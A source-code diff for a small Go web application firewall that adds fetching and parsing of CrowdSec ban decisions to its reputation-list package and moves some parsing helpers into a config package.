spamhaus + ".example": spamhaus + ".example",
|
|
||||||
} {
|
|
||||||
if got := reputation.MaskZoneKey(zone); got != want {
|
|
||||||
t.Errorf("MaskZoneKey(%q) is %q, want %q", zone, got, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -11,6 +11,7 @@ import (
|
|||||||
// network.
|
// network.
|
||||||
func (l *Lists) SetTransport(transport http.RoundTripper) {
|
func (l *Lists) SetTransport(transport http.RoundTripper) {
|
||||||
l.httpClient.Transport = transport
|
l.httpClient.Transport = transport
|
||||||
|
l.crowdSecClient.Transport = transport
|
||||||
}
|
}
|
||||||
|
|
||||||
// SetTransport has a's checks go through transport instead of the
|
// SetTransport has a's checks go through transport instead of the
|
||||||
|
|||||||
@@ -1,20 +1,19 @@
|
|||||||
// Package reputation fetches the lists the settings name by URL: the
|
// Package reputation fetches the lists the settings name by URL: the
|
||||||
// blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
|
// blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
|
||||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL names, and the address lists of
|
// SWW_WAF_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_WAF_TAG_LISTS, and
|
||||||
// SWW_WAF_TAG_LISTS. It keeps the last good copy of
|
// the decision list of the CrowdSec engine SWW_WAF_CROWDSEC_LAPI_URL names. It
|
||||||
|
// keeps the last good copy of
|
||||||
// each, whole, comment lines included, which is used while a fetch fails,
|
// each, whole, comment lines included, which is used while a fetch fails,
|
||||||
// and when each was last tried. It also asks the DNSBL zones of
|
// and when each was last tried. It also asks the DNSBL zones of
|
||||||
// SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
// SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
||||||
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
||||||
// today. The state package writes all of these to files and reads them
|
// today. The state package writes all of these to files and reads them
|
||||||
// from there, so that a restart keeps them too. It fetches AbuseIPDB's
|
// from there, so that a restart keeps them too.
|
||||||
// blacklist, which it does not keep. Last, it reads the netblocks, AS
|
|
||||||
// numbers and percentages that both the settings and the lists hold, and
|
|
||||||
// masks the keys of DNSBL zones.
|
|
||||||
package reputation
|
package reputation
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
"encoding/json"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
@@ -22,12 +21,12 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"slices"
|
"slices"
|
||||||
"strconv"
|
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -36,6 +35,10 @@ const (
|
|||||||
maxListBytes = 16 << 20
|
maxListBytes = 16 << 20
|
||||||
// fetchTimeout bounds one fetch of a list.
|
// fetchTimeout bounds one fetch of a list.
|
||||||
fetchTimeout = time.Minute
|
fetchTimeout = time.Minute
|
||||||
|
// crowdSecRefresh is how long after the CrowdSec decision list was last
|
||||||
|
// fetched or tried it is fetched again: the engine is the operator's
|
||||||
|
// own, and makes and ends decisions all the time.
|
||||||
|
crowdSecRefresh = time.Minute
|
||||||
// mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every
|
// mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every
|
||||||
// IPv4-mapped address.
|
// IPv4-mapped address.
|
||||||
mappedBits = 96
|
mappedBits = 96
|
||||||
@@ -44,26 +47,16 @@ const (
|
|||||||
var (
|
var (
|
||||||
errStatus = errors.New("the server answered")
|
errStatus = errors.New("the server answered")
|
||||||
errTooLong = errors.New("the list is longer than 16 MiB")
|
errTooLong = errors.New("the list is longer than 16 MiB")
|
||||||
errNotNetblockLine = errors.New(
|
errNotNetblock = errors.New(
|
||||||
"is not an address or a netblock, such as 192.0.2.0/24",
|
"is not an address or a netblock, such as 192.0.2.0/24",
|
||||||
)
|
)
|
||||||
errNotASNPercent = errors.New(
|
errNotASNPercent = errors.New(
|
||||||
"is not an AS number, : and a percentage, such as AS64496:50")
|
"is not an AS number, : and a percentage, such as AS64496:50")
|
||||||
errNotNetblock = errors.New(
|
errNotDecision = errors.New(
|
||||||
"is not a netblock such as 10.0.0.0/8, or an address")
|
"does not give an address or a netblock and a duration, such as 4h0m0s",
|
||||||
errNotASN = errors.New("is not an AS number such as AS64496")
|
|
||||||
errNotPercent = errors.New(
|
|
||||||
"is not a percentage, a whole number from 0 to 100",
|
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
// TagList is an address list of SWW_WAF_TAG_LISTS: the tag it adds to the
|
|
||||||
// requests of the clients it holds, and the URL it is fetched from.
|
|
||||||
type TagList struct {
|
|
||||||
Name string
|
|
||||||
URL string
|
|
||||||
}
|
|
||||||
|
|
||||||
// List is a list as lists.json holds it: the URL it is fetched from,
|
// List is a list as lists.json holds it: the URL it is fetched from,
|
||||||
// when it was last tried, the fetch failed or not, and its last good copy:
|
// when it was last tried, the fetch failed or not, and its last good copy:
|
||||||
// when that was fetched, and its lines, as fetched, comment lines
|
// when that was fetched, and its lines, as fetched, comment lines
|
||||||
@@ -83,9 +76,15 @@ type Params struct {
|
|||||||
BlocklistURLs []string
|
BlocklistURLs []string
|
||||||
ASNLimitPercentURL string
|
ASNLimitPercentURL string
|
||||||
// TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
|
// TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
|
||||||
TagLists []TagList
|
TagLists []config.TagList
|
||||||
|
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
|
||||||
|
// SWW_WAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
||||||
|
// (SWW_WAF_CROWDSEC_LAPI_KEY).
|
||||||
|
CrowdSecDecisionsURL string
|
||||||
|
CrowdSecKey string
|
||||||
// Refresh is how long after a list was last fetched or tried it is
|
// Refresh is how long after a list was last fetched or tried it is
|
||||||
// fetched again (SWW_WAF_BLOCKLIST_REFRESH).
|
// fetched again (SWW_WAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
||||||
|
// list, which is fetched again crowdSecRefresh after.
|
||||||
Refresh time.Duration
|
Refresh time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
@@ -100,6 +99,10 @@ type Params struct {
|
|||||||
type Lists struct {
|
type Lists struct {
|
||||||
params Params
|
params Params
|
||||||
httpClient *http.Client
|
httpClient *http.Client
|
||||||
|
// crowdSecClient fetches the CrowdSec decision list. It follows no
|
||||||
|
// redirect, so that the key goes to the engine alone: a redirect is a
|
||||||
|
// failure.
|
||||||
|
crowdSecClient *http.Client
|
||||||
|
|
||||||
mu sync.Mutex
|
mu sync.Mutex
|
||||||
// lists are by URL, one for each URL Params names.
|
// lists are by URL, one for each URL Params names.
|
||||||
@@ -116,12 +119,22 @@ type list struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// entries are what the lines of a copy say: for a blocklist or a tag list, the
|
// entries are what the lines of a copy say: for a blocklist or a tag list, the
|
||||||
// netblocks it names, with the lengths among them, and for the file of
|
// netblocks it names, with the lengths among them, for the file of AS:percent
|
||||||
// AS:percent lines, the percentage it gives each AS number.
|
// lines, the percentage it gives each AS number, and for the CrowdSec decision
|
||||||
|
// list, the decision on each netblock that ends last, with the lengths among
|
||||||
|
// them.
|
||||||
type entries struct {
|
type entries struct {
|
||||||
netblocks map[netip.Prefix]bool
|
netblocks map[netip.Prefix]bool
|
||||||
lengths []int
|
lengths []int
|
||||||
percents map[string]int64
|
percents map[string]int64
|
||||||
|
decisions map[netip.Prefix]Decision
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decision is a decision of the CrowdSec engine to ban a netblock: when
|
||||||
|
// it ends, and the scenario that made it, such as crowdsecurity/ssh-bf.
|
||||||
|
type Decision struct {
|
||||||
|
Expires time.Time
|
||||||
|
Scenario string
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the lists, without a copy of any yet.
|
// New returns the lists, without a copy of any yet.
|
||||||
@@ -129,6 +142,11 @@ func New(params Params) *Lists {
|
|||||||
l := &Lists{
|
l := &Lists{
|
||||||
params: params,
|
params: params,
|
||||||
httpClient: &http.Client{},
|
httpClient: &http.Client{},
|
||||||
|
crowdSecClient: &http.Client{
|
||||||
|
CheckRedirect: func(*http.Request, []*http.Request) error {
|
||||||
|
return http.ErrUseLastResponse
|
||||||
|
},
|
||||||
|
},
|
||||||
lists: map[string]*list{},
|
lists: map[string]*list{},
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -141,7 +159,7 @@ func New(params Params) *Lists {
|
|||||||
|
|
||||||
// URLs returns the URL of every list: the blocklists' in the order
|
// URLs returns the URL of every list: the blocklists' in the order
|
||||||
// SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
|
// SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
|
||||||
// tag lists'.
|
// tag lists', then the CrowdSec decision list's.
|
||||||
func (l *Lists) URLs() []string {
|
func (l *Lists) URLs() []string {
|
||||||
urls := slices.Clone(l.params.BlocklistURLs)
|
urls := slices.Clone(l.params.BlocklistURLs)
|
||||||
if l.params.ASNLimitPercentURL != "" {
|
if l.params.ASNLimitPercentURL != "" {
|
||||||
@@ -152,6 +170,10 @@ func (l *Lists) URLs() []string {
|
|||||||
urls = append(urls, list.URL)
|
urls = append(urls, list.URL)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if l.params.CrowdSecDecisionsURL != "" {
|
||||||
|
urls = append(urls, l.params.CrowdSecDecisionsURL)
|
||||||
|
}
|
||||||
|
|
||||||
return urls
|
return urls
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -203,6 +225,40 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
|
|||||||
return percent, listed
|
return percent, listed
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CrowdSecDecision returns the decision of the copy of the CrowdSec
|
||||||
|
// decision list on a netblock that holds addr and that ends last, and
|
||||||
|
// whether it is still in force at now. A decision that has ended no
|
||||||
|
// longer bans, even before the next fetch drops it.
|
||||||
|
func (l *Lists) CrowdSecDecision(
|
||||||
|
addr netip.Addr,
|
||||||
|
now time.Time,
|
||||||
|
) (Decision, bool) {
|
||||||
|
if l.params.CrowdSecDecisionsURL == "" {
|
||||||
|
return Decision{}, false
|
||||||
|
}
|
||||||
|
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
|
kept := l.lists[l.params.CrowdSecDecisionsURL].entries
|
||||||
|
|
||||||
|
var last Decision
|
||||||
|
|
||||||
|
for _, length := range kept.lengths {
|
||||||
|
netblock, err := addr.Prefix(length)
|
||||||
|
if err != nil {
|
||||||
|
continue // an IPv6 netblock's length, past an IPv4 address's 32 bits
|
||||||
|
}
|
||||||
|
|
||||||
|
decision := kept.decisions[netblock]
|
||||||
|
if decision.Expires.After(last.Expires) {
|
||||||
|
last = decision
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return last, now.Before(last.Expires)
|
||||||
|
}
|
||||||
|
|
||||||
// Fetched returns when the copy in use of the list at listURL was
|
// Fetched returns when the copy in use of the list at listURL was
|
||||||
// fetched, or zero while there is none.
|
// fetched, or zero while there is none.
|
||||||
func (l *Lists) Fetched(listURL string) time.Time {
|
func (l *Lists) Fetched(listURL string) time.Time {
|
||||||
@@ -275,7 +331,7 @@ func (l *Lists) Load(lists []List) error {
|
|||||||
continue // dropped, or a list tried but never fetched, without a copy
|
continue // dropped, or a list tried but never fetched, without a copy
|
||||||
}
|
}
|
||||||
|
|
||||||
read, err := l.parse(kept.URL, kept.Lines)
|
read, err := l.parse(kept.URL, kept.Lines, kept.Fetched)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("the copy of %s: %w", kept.URL, err)
|
return fmt.Errorf("the copy of %s: %w", kept.URL, err)
|
||||||
}
|
}
|
||||||
@@ -321,7 +377,8 @@ func (l *Lists) fetchDue(ctx context.Context) time.Time {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// due returns when the list at listURL is to be fetched: Refresh after it
|
// due returns when the list at listURL is to be fetched: Refresh after it
|
||||||
// was last fetched or tried, the later of the two.
|
// was last fetched or tried, the later of the two, or crowdSecRefresh
|
||||||
|
// after for the CrowdSec decision list.
|
||||||
func (l *Lists) due(listURL string) time.Time {
|
func (l *Lists) due(listURL string) time.Time {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
@@ -333,6 +390,10 @@ func (l *Lists) due(listURL string) time.Time {
|
|||||||
last = held.kept.Tried
|
last = held.kept.Tried
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if listURL == l.params.CrowdSecDecisionsURL {
|
||||||
|
return last.Add(crowdSecRefresh)
|
||||||
|
}
|
||||||
|
|
||||||
return last.Add(l.params.Refresh)
|
return last.Add(l.params.Refresh)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -347,7 +408,7 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
|
|||||||
|
|
||||||
var found entries
|
var found entries
|
||||||
if err == nil {
|
if err == nil {
|
||||||
found, err = l.parse(listURL, lines)
|
found, err = l.parse(listURL, lines, now)
|
||||||
}
|
}
|
||||||
|
|
||||||
cutOff := err != nil && ctx.Err() != nil
|
cutOff := err != nil && ctx.Err() != nil
|
||||||
@@ -407,8 +468,11 @@ func raiseFailure(queue *alerts.Queue, reason, source string, err error) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// get fetches the list at listURL, and returns its lines. An answer other
|
// get fetches the list at listURL, and returns its lines. The CrowdSec
|
||||||
// than 200, or a list longer than maxListBytes, is a failure.
|
// decision list is fetched with CrowdSecKey in the header X-Api-Key, where
|
||||||
|
// the engine looks for it, by crowdSecClient, which follows no redirect.
|
||||||
|
// An answer other than 200, or a list longer than maxListBytes, is a
|
||||||
|
// failure.
|
||||||
func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
|
func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
|
||||||
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
|
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
@@ -423,7 +487,14 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
|
|||||||
return nil, fmt.Errorf("make the request: %w", err)
|
return nil, fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
res, err := l.httpClient.Do(req)
|
client := l.httpClient
|
||||||
|
|
||||||
|
if listURL == l.params.CrowdSecDecisionsURL {
|
||||||
|
req.Header.Set("X-Api-Key", l.params.CrowdSecKey)
|
||||||
|
client = l.crowdSecClient
|
||||||
|
}
|
||||||
|
|
||||||
|
res, err := client.Do(req)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// Do's error names the URL, which the log line and the alert name
|
// Do's error names the URL, which the log line and the alert name
|
||||||
// already: only what went wrong is kept.
|
// already: only what went wrong is kept.
|
||||||
@@ -455,16 +526,22 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
|
|||||||
return lines, nil
|
return lines, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// parse reads the lines of the list at listURL: those of a blocklist or a
|
// parse reads the lines of the list at listURL, fetched at fetched: those
|
||||||
// tag list, or of the file of AS:percent lines. Anything after a ; or a #
|
// of a blocklist or a tag list, of the file of AS:percent lines, or of the
|
||||||
// on a line is left out, and so is a line left blank. Any other line that
|
// CrowdSec decision list. In all but the decision list, anything after a ; or
|
||||||
|
// a # on a line is left out, and so is a line left blank. Any other line that
|
||||||
// does not read is an error naming it by its number.
|
// does not read is an error naming it by its number.
|
||||||
func (l *Lists) parse(listURL string, lines []string) (entries, error) {
|
func (l *Lists) parse(
|
||||||
if listURL == l.params.ASNLimitPercentURL {
|
listURL string, lines []string, fetched time.Time,
|
||||||
|
) (entries, error) {
|
||||||
|
switch listURL {
|
||||||
|
case l.params.ASNLimitPercentURL:
|
||||||
return parsePercents(lines)
|
return parsePercents(lines)
|
||||||
}
|
case l.params.CrowdSecDecisionsURL:
|
||||||
|
return parseDecisions(lines, fetched)
|
||||||
|
default:
|
||||||
return parseNetblocks(lines)
|
return parseNetblocks(lines)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseNetblocks reads the lines of a blocklist or a tag list, each an address
|
// parseNetblocks reads the lines of a blocklist or a tag list, each an address
|
||||||
@@ -480,11 +557,7 @@ func parseNetblocks(lines []string) (entries, error) {
|
|||||||
|
|
||||||
netblock, ok := parseNetblock(text)
|
netblock, ok := parseNetblock(text)
|
||||||
if !ok {
|
if !ok {
|
||||||
return entries{}, fmt.Errorf(
|
return entries{}, fmt.Errorf("line %d %w", i+1, errNotNetblock)
|
||||||
"line %d %w",
|
|
||||||
i+1,
|
|
||||||
errNotNetblockLine,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
found.netblocks[netblock] = true
|
found.netblocks[netblock] = true
|
||||||
@@ -504,7 +577,7 @@ func parseNetblocks(lines []string) (entries, error) {
|
|||||||
// stands for, 192.0.2.0/24, and a mapped netblock shorter than /96, which
|
// stands for, 192.0.2.0/24, and a mapped netblock shorter than /96, which
|
||||||
// stands for none, is refused.
|
// stands for none, is refused.
|
||||||
func parseNetblock(text string) (netip.Prefix, bool) {
|
func parseNetblock(text string) (netip.Prefix, bool) {
|
||||||
netblock, err := ParseNetblock(text)
|
netblock, err := config.ParseNetblock(text)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return netip.Prefix{}, false
|
return netip.Prefix{}, false
|
||||||
}
|
}
|
||||||
@@ -539,9 +612,9 @@ func parsePercents(lines []string) (entries, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
asnText, percentText, _ := strings.Cut(text, ":")
|
asnText, percentText, _ := strings.Cut(text, ":")
|
||||||
asn, asnErr := ParseASN(asnText)
|
asn, asnErr := config.ParseASN(asnText)
|
||||||
|
|
||||||
percent, percentErr := ParsePercent(percentText)
|
percent, percentErr := config.ParsePercent(percentText)
|
||||||
if asnErr != nil || percentErr != nil {
|
if asnErr != nil || percentErr != nil {
|
||||||
return entries{}, fmt.Errorf("line %d %w", i+1, errNotASNPercent)
|
return entries{}, fmt.Errorf("line %d %w", i+1, errNotASNPercent)
|
||||||
}
|
}
|
||||||
@@ -555,51 +628,62 @@ func parsePercents(lines []string) (entries, error) {
|
|||||||
return found, nil
|
return found, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// ParseNetblock reads a netblock in CIDR form, such as 10.0.0.0/8. A bare
|
// parseDecisions reads the lines of the CrowdSec decision list fetched at
|
||||||
// address is a netblock of that address alone, a /32 or a /128. A
|
// fetched: the engine's answer, a JSON list of its decisions in force,
|
||||||
// blocklist's lines are read with it too.
|
// null while it has none. A decision of the type ban whose scope is Ip or
|
||||||
func ParseNetblock(value string) (netip.Prefix, error) {
|
// Range, as CrowdSec names them, bans its value, an address or a netblock
|
||||||
if strings.Contains(value, "/") {
|
// as parseNetblock reads it, until its duration, the time it had left as
|
||||||
netblock, err := netip.ParsePrefix(value)
|
// the engine answered, has passed since fetched. Any other decision, such
|
||||||
|
// as one to show a captcha or one on a country, is left out. A decision
|
||||||
|
// to ban whose value or duration does not read is an error naming it by
|
||||||
|
// its number.
|
||||||
|
func parseDecisions(lines []string, fetched time.Time) (entries, error) {
|
||||||
|
var answer []struct {
|
||||||
|
Duration string `json:"duration"`
|
||||||
|
Scenario string `json:"scenario"`
|
||||||
|
Scope string `json:"scope"`
|
||||||
|
Type string `json:"type"`
|
||||||
|
Value string `json:"value"`
|
||||||
|
}
|
||||||
|
|
||||||
|
err := json.Unmarshal([]byte(strings.Join(lines, "\n")), &answer)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return netip.Prefix{}, fmt.Errorf("%q %w", value, errNotNetblock)
|
return entries{}, fmt.Errorf("read the answer: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return netblock.Masked(), nil
|
found := entries{decisions: map[netip.Prefix]Decision{}}
|
||||||
|
|
||||||
|
for i, decision := range answer {
|
||||||
|
if decision.Type != "ban" ||
|
||||||
|
(decision.Scope != "Ip" && decision.Scope != "Range") {
|
||||||
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
addr, err := netip.ParseAddr(value)
|
netblock, ok := parseNetblock(decision.Value)
|
||||||
if err != nil || addr.Zone() != "" {
|
|
||||||
return netip.Prefix{}, fmt.Errorf("%q %w", value, errNotNetblock)
|
duration, err := time.ParseDuration(decision.Duration)
|
||||||
|
if !ok || err != nil {
|
||||||
|
return entries{}, fmt.Errorf(
|
||||||
|
"decision %d %w",
|
||||||
|
i+1,
|
||||||
|
errNotDecision,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return netip.PrefixFrom(addr, addr.BitLen()), nil
|
expires := fetched.Add(duration)
|
||||||
}
|
if expires.After(found.decisions[netblock].Expires) {
|
||||||
|
found.decisions[netblock] = Decision{
|
||||||
// ParseASN reads an AS number such as AS64496, in either case, and
|
Expires: expires,
|
||||||
// returns it as the lookup gives it: AS and the number, in capitals and
|
Scenario: decision.Scenario,
|
||||||
// without leading zeros. The file SWW_WAF_ASN_LIMIT_PERCENT_URL names is
|
}
|
||||||
// read with it too.
|
|
||||||
func ParseASN(value string) (string, error) {
|
|
||||||
digits, hasAS := strings.CutPrefix(strings.ToUpper(value), "AS")
|
|
||||||
|
|
||||||
number, err := strconv.ParseUint(digits, 10, 32)
|
|
||||||
if !hasAS || err != nil {
|
|
||||||
return "", fmt.Errorf("%q %w", value, errNotASN)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return "AS" + strconv.FormatUint(number, 10), nil
|
if !slices.Contains(found.lengths, netblock.Bits()) {
|
||||||
}
|
found.lengths = append(found.lengths, netblock.Bits())
|
||||||
|
}
|
||||||
// ParsePercent reads a percentage, a whole number from 0 to 100. The file
|
|
||||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL names is read with it too.
|
|
||||||
func ParsePercent(value string) (int64, error) {
|
|
||||||
percent, err := strconv.ParseInt(value, 10, 64)
|
|
||||||
if err != nil || percent < 0 || percent > 100 {
|
|
||||||
return 0, fmt.Errorf("%q %w", value, errNotPercent)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return percent, nil
|
return found, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// withoutComment returns line without anything after a ; or a #, and
|
// withoutComment returns line without anything after a ; or a #, and
|
||||||
|
|||||||
@@ -21,12 +21,7 @@ const (
|
|||||||
// the app.
|
// the app.
|
||||||
ActionForward = "forward"
|
ActionForward = "forward"
|
||||||
|
|
||||||
// ActionRequestLineTooLong is a request whose request line is too long for
|
// ActionRequestHeaderTooLarge is a request over the header limits.
|
||||||
// the header limits.
|
|
||||||
ActionRequestLineTooLong = "request_line_too_long"
|
|
||||||
|
|
||||||
// ActionRequestHeaderTooLarge is a request whose headers are over the
|
|
||||||
// header limits.
|
|
||||||
ActionRequestHeaderTooLarge = "request_header_too_large"
|
ActionRequestHeaderTooLarge = "request_header_too_large"
|
||||||
|
|
||||||
// ActionClientIsRateLimited is a request refused because it took its
|
// ActionClientIsRateLimited is a request refused because it took its
|
||||||
@@ -34,8 +29,9 @@ const (
|
|||||||
ActionClientIsRateLimited = "client_is_rate_limited"
|
ActionClientIsRateLimited = "client_is_rate_limited"
|
||||||
|
|
||||||
// ActionTemporarilyBanned is a request refused because a ban that runs
|
// ActionTemporarilyBanned is a request refused because a ban that runs
|
||||||
// out covers its client, or because it matched a ban rule or asked for a
|
// out covers its client, or because it matched a ban rule, asked for a
|
||||||
// trap path, and so made such a ban.
|
// trap path or the CrowdSec decision list lists its client, and so made
|
||||||
|
// such a ban.
|
||||||
ActionTemporarilyBanned = "temporarily_banned"
|
ActionTemporarilyBanned = "temporarily_banned"
|
||||||
|
|
||||||
// ActionPermanentlyBanned is a request refused because a ban that never
|
// ActionPermanentlyBanned is a request refused because a ban that never
|
||||||
@@ -48,37 +44,30 @@ const (
|
|||||||
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
||||||
|
|
||||||
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
||||||
// Set scored it at or over SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
|
// Set scored it at or over SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
||||||
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
||||||
|
|
||||||
// ActionClientDenied is a request refused because its client is in
|
// ActionClientDenied is a request refused because its client is in
|
||||||
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
|
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
|
||||||
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
||||||
// SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, or that carries a tag in
|
// SWW_WAF_REPUTATION_ACTION is deny, or that carries a tag in SWW_WAF_TAG_DENY.
|
||||||
// SWW_WAF_TAG_DENY.
|
|
||||||
ActionClientDenied = "client_denied"
|
ActionClientDenied = "client_denied"
|
||||||
|
|
||||||
// ActionCountryDenied is a request refused because its client's country
|
// ActionCountryDenied is a request refused because its client's country
|
||||||
// is not in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
// is not in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||||
ActionCountryDenied = "country_denied"
|
ActionCountryDenied = "country_denied"
|
||||||
|
|
||||||
// ActionChecksTimedOut is a request refused because the trap paths, the
|
|
||||||
// rule files and the Core Rule Set had not finished with it within 500
|
|
||||||
// milliseconds.
|
|
||||||
ActionChecksTimedOut = "checks_timed_out"
|
|
||||||
|
|
||||||
// ActionOwnEndpoint is a request waf answered at one of its own
|
// ActionOwnEndpoint is a request waf answered at one of its own
|
||||||
// endpoints, or a question about a path under /_sww/.
|
// endpoints, or a question about a path under /_sww/.
|
||||||
ActionOwnEndpoint = "own_endpoint"
|
ActionOwnEndpoint = "own_endpoint"
|
||||||
)
|
)
|
||||||
|
|
||||||
// OffenceLimit is the offence a request line names for a request that
|
// OffenceLimit is the offence a request line names for a request that
|
||||||
// broke a rate limit or the refusal limit, or whose bytes broke a byte
|
// broke a rate limit or the error burst, or whose bytes broke a byte
|
||||||
// limit.
|
// limit.
|
||||||
const OffenceLimit = "limit"
|
const OffenceLimit = "limit"
|
||||||
|
|
||||||
// LimitHitMinuteRefusals is the limit_hit a request line names for a request
|
// LimitHitMinuteRefusals is the limit_hit a request line names for a request
|
||||||
// that broke the refusal limit.
|
// that broke the error burst.
|
||||||
const LimitHitMinuteRefusals = "minute_refusals"
|
const LimitHitMinuteRefusals = "minute_refusals"
|
||||||
|
|
||||||
// The waf_line a request line names, which says which of
|
// The waf_line a request line names, which says which of
|
||||||
@@ -154,9 +143,8 @@ type Line struct {
|
|||||||
// taken with a request it would have refused: ActionClientDenied,
|
// taken with a request it would have refused: ActionClientDenied,
|
||||||
// ActionTemporarilyBanned, ActionPermanentlyBanned, ActionCountryDenied,
|
// ActionTemporarilyBanned, ActionPermanentlyBanned, ActionCountryDenied,
|
||||||
// ActionClientIsRateLimited, ActionBlockedByBlockRule,
|
// ActionClientIsRateLimited, ActionBlockedByBlockRule,
|
||||||
// ActionBlockedByCoreRuleSet, or, in waf, ActionRequestLineTooLong or
|
// ActionBlockedByCoreRuleSet, or, in waf,
|
||||||
// ActionRequestHeaderTooLarge for the header limits, or
|
// ActionRequestHeaderTooLarge for the header limits.
|
||||||
// ActionChecksTimedOut.
|
|
||||||
WouldAction string `json:"would_action,omitempty"`
|
WouldAction string `json:"would_action,omitempty"`
|
||||||
// Heuristic is the name of the heuristic that refused the request, in
|
// Heuristic is the name of the heuristic that refused the request, in
|
||||||
// observe mode too, and HeuristicFigures are the figures it acted on, by
|
// observe mode too, and HeuristicFigures are the figures it acted on, by
|
||||||
@@ -192,10 +180,11 @@ type Line struct {
|
|||||||
// LimitHit is the window whose limit the request went over, named as
|
// LimitHit is the window whose limit the request went over, named as
|
||||||
// Counts names its count: minute, hour or day for a rate limit, and
|
// Counts names its count: minute, hour or day for a rate limit, and
|
||||||
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
|
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
|
||||||
// LimitHitMinuteRefusals for the refusal limit.
|
// LimitHitMinuteRefusals for the error burst.
|
||||||
LimitHit string `json:"limit_hit,omitempty"`
|
LimitHit string `json:"limit_hit,omitempty"`
|
||||||
